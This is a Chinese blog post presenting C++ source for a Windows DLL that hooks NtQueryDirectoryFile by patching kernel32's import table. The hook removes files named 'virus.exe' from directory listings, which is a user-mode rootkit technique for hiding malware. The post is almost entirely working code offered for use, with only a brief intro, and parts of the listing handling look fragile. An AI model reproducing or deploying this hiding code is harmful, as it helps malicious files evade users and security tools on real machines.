zoukankan      html  css  js  c++  java
  • 基于VC++2012在Windows8上实现文件隐藏



    请见代码分析,


    #include <windows.h>
    #include <WinNT.h>
    
    
    //从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到
    
    typedef LONG NTSTATUS;
    #define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
    //参数类型
    typedef struct _IO_STATUS_BLOCK 
    { 
    	NTSTATUS  Status; 
    	ULONG    Information; 
    } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 
    //字符串类型
    typedef struct _UNICODE_STRING 
    { 
    	USHORT    Length; 
    	USHORT    MaximumLength; 
    	PWSTR    Buffer; 
    } UNICODE_STRING, *PUNICODE_STRING; 
    //枚举类型,主要利用FileBothDirectoryInformation
    typedef enum _FILE_INFORMATION_CLASS {
    	FileDirectoryInformation = 1,
    	FileFullDirectoryInformation,
    	FileBothDirectoryInformation,
    	FileBasicInformation,
    	FileStandardInformation,
    	FileInternalInformation,
    	FileEaInformation,
    	FileAccessInformation,
    	FileNameInformation,
    	FileRenameInformation,
    	FileLinkInformation,
    	FileNamesInformation,
    	FileDispositionInformation,
    	FilePositionInformation,
    	FileFullEaInformation,
    	FileModeInformation,
    	FileAlignmentInformation,
    	FileAllInformation,
    	FileAllocationInformation,
    	FileEndOfFileInformation,
    	FileAlternateNameInformation,
    	FileStreamInformation,
    	FilePipeInformation,
    	FilePipeLocalInformation,
    	FilePipeRemoteInformation,
    	FileMailslotQueryInformation,
    	FileMailslotSetInformation,
    	FileCompressionInformation,
    	FileObjectIdInformation,
    	FileCompletionInformation,
    	FileMoveClusterInformation,
    	FileQuotaInformation,
    	FileReparsePointInformation,
    	FileNetworkOpenInformation,
    	FileAttributeTagInformation,
    	FileTrackingInformation,
    	FileMaximumInformation
    } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
    
    
    typedef VOID (NTAPI *PIO_APC_ROUTINE)(
    						 IN PVOID ApcContext,
    						 IN PIO_STATUS_BLOCK IoStatusBlock,
    						 IN ULONG Reserved);
    
    typedef struct _FILE_BOTH_DIRECTORY_INFORMATION { 
    	ULONG NextEntryOffset;
    	ULONG Unknown;
    	LARGE_INTEGER CreationTime;
    	LARGE_INTEGER LastAccessTime;
    	LARGE_INTEGER LastWriteTime;
    	LARGE_INTEGER ChangeTime;
    	LARGE_INTEGER EndOfFile;
    	LARGE_INTEGER AllocationSize;
    	ULONG FileAttributes;
    	ULONG FileNameLength;
    	ULONG EaInformationLength;
    	UCHAR AlternateNameLength;
    	WCHAR AlternateName[12];
    	WCHAR FileName[1];
    } FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;
    
    
    
    
    typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
    													  IN  HANDLE FileHandle,
    													  IN  HANDLE Event OPTIONAL,
    													  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    													  IN  PVOID ApcContext OPTIONAL,
    													  OUT PIO_STATUS_BLOCK IoStatusBlock,
    													  OUT PVOID FileInformation,
    													  IN  ULONG Length,
    													  IN  FILE_INFORMATION_CLASS FileInformationClass,
    													  IN  BOOLEAN ReturnSingleEntry,
    													  IN  PUNICODE_STRING FileName OPTIONAL,
    													  IN  BOOLEAN RestartScan
    													  );
    
    //原始ZwQueryDirectoryFile地址
    ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile = NULL;
    
    
    //////////////////////////////////////////////////////////////////////////
    //替换原有函数
    //////////////////////////////////////////////////////////////////////////
    NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
    {
    	//先调用原有函数
    	LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
    	if (!NT_SUCCESS(rret))
    	{
    		return rret;
    	}
    
    	//只取了	FileBothDirectoryInformation这种可能性
    	if (FileInformationClass==FileBothDirectoryInformation)
    	{
    		PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
    		PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
    		//测试的C:\\下的virus.exe的隐藏
    		WCHAR VIRUS[] = L"virus.exe";
    		BOOLEAN flag;
    		pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation; 
    		pLastFileInfo = NULL;
    		do
    		{
    			flag = !( pFileInfo->NextEntryOffset );
    			//宽字符比较,暂用WCSSTR
    			if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
    			{
    				if(flag) 
    				{
    					pLastFileInfo->NextEntryOffset = 0;
    					break;
    				} 
    				else
    				{
    					int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
    					int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
    					memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
    					continue;
    				}
    			}
    			pLastFileInfo = pFileInfo;
    			pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
    		}while(!flag);
    
    	}
    
    	return rret;
    }
    
    //////////////////////////////////////////////////////////////////////////
    //Hook Function
    //////////////////////////////////////////////////////////////////////////
    BOOL HookQueryFile(BOOL flag)
    {
    	//确定Kernel32.dll的基地址
    	HMODULE hModule = LoadLibrary("kernel32.dll");
    	if (hModule==NULL)
    	{
    		return FALSE;
    	}
    
    	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
    	if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
    	{
    		return FALSE;
    	}
    
    	PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
    	if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
    	{
    		return FALSE;
    	}
    
    	if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL || 
    		pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
    	{
    		return FALSE;
    	}
    
    	PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    
    	PIMAGE_THUNK_DATA ThunkData;
    
    	while (ImportDescriptor->FirstThunk)
    	{
    		char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
    		//遍历寻找Kernel32中加载的ntdll.dll
    		if (stricmp(szDll,"ntdll.dll")!=NULL)
    		{
    			ImportDescriptor++;
    			continue;
    		}
    
    		ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);
    
    		int num = 1;
    		while (ThunkData->u1.Function)
    		{
    			char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
    			if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
    			{
    				PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
    				if (flag)
    				{
    					//Hook
    					ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
    					OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
    					DWORD dwWrite = 0;
    					WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);					
    				}
    				else
    				{
    					//UnHook
    					DWORD dwWrite = 0;
    					WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);	
    				}
    
    				return TRUE;
    			}
    			num++;
    			ThunkData++;
    		}
    		ImportDescriptor++;
    	}
    
    	return FALSE;
    }
    
    BOOL APIENTRY DllMain( HANDLE hModule,DWORD  dwReason,LPVOID lpReserved)
    {
    	if (dwReason == DLL_PROCESS_ATTACH)
    	{ 
    		//HOOK ZwQueryDirectroyFile
    		HookQueryFile(TRUE);
    	}
    	else if (dwReason == DLL_PROCESS_DETACH)
    	{
    		//UnHook ZwQueryDirectoryFile
    		HookQueryFile(FALSE);
    	}
    
    	return TRUE;
    }


  • 相关阅读:
    MySQL导出数据到文件中
    MySQL表内更新时,自动记录时间
    MySQL实现分页查询
    shell 中执行Oracle查询和执行存储过程
    python调用其他脚本
    hadoop 中ALL Applications 中Tracking 下History查找不到MapReduce Job 日志
    Matplotlib 随机漫步图
    Matplotlib 绘图
    shell中$(( ))、$( )、``与${ }的区别详解
    jquery动画切换引擎插件 Velocity.js 学习01
  • 原文地址:https://www.cnblogs.com/new0801/p/6177734.html
Copyright © 2011-2022 走看看